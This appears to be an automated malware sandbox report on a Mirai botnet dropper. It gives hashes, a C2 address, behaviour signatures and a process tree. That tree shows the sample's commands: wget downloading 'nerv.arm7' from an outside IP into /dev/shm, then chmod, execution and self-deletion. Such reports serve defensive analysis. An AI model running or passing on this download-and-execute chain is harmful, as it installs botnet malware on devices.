Overview

overview

10

Static

static

1

f75e6a56a0...6b5464

ubuntu-18.04-amd64

10

f75e6a56a0...6b5464

debian-9-armhf

10

f75e6a56a0...6b5464

debian-9-mips

f75e6a56a0...6b5464

debian-9-mipsel

Analysis

  • max time kernel
    143s
  • max time network
    144s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/07/2026, 23:23

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    f75e6a56a01330c0c8aa8319d83a5f64dce4e413ee7c97e1c7bcd3a19c6b5464
  • Size 2KB
  • Sample260701-3dendshv3t
  • SHA256 f75e6a56a01330c0c8aa8319d83a5f64dce4e413ee7c97e1c7bcd3a19c6b5464
  • MD5 SHA1 SHA512 TLSH
Score
10/10
antivmbotnetdefense_evasiondiscoverymirai

Malware Config

Extracted

Family

  • mirai

C2

  • 89.190.156.145

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Traces itself 21 IoCs

    Traces itself to prevent debugging attempts

  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to shm directory 1 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

Processes

  • /tmp/f75e6a56a01330c0c8aa8319d83a5f64dce4e413ee7c97e1c7bcd3a19c6b5464
    /tmp/f75e6a56a01330c0c8aa8319d83a5f64dce4e413ee7c97e1c7bcd3a19c6b5464
    1⤵
    • Executes dropped EXE
    PID:640
    • /bin/uname
      uname -m
      2⤵
        PID:645
      • /usr/bin/tr
        tr "[:upper:]" "[:lower:]"
        2⤵
          PID:646
        • /bin/rm
          rm -f /dev/shm/.nerv.arm7
          2⤵
            PID:650
          • /usr/bin/wget
            wget -qO /dev/shm/.nerv.arm7 http://93.115.101.146:13734/bins/nerv.arm7
            2⤵
            • Writes file to shm directory
            PID:653
          • /bin/chmod
            chmod +x /dev/shm/.nerv.arm7
            2⤵
            • File and Directory Permissions Modification
            PID:676
          • /usr/bin/basename
            basename /tmp/f75e6a56a01330c0c8aa8319d83a5f64dce4e413ee7c97e1c7bcd3a19c6b5464
            2⤵
              PID:678
            • /dev/shm/.nerv.arm7
              /dev/shm/.nerv.arm7
              2⤵
              • Traces itself
              • Changes its process name
              • Checks CPU configuration
              • Reads runtime system information
              PID:677
            • /bin/rm
              rm -f /tmp/f75e6a56a01330c0c8aa8319d83a5f64dce4e413ee7c97e1c7bcd3a19c6b5464
              2⤵
                PID:680

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  .nerv.arm7
                  • Path /dev/shm/.nerv.arm7
                  • Size 132KB
                  • SHA256 31c737dc339d77f66a8eb33f5e514c7294b77978d084d60b0f6730c46ac6cf1d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download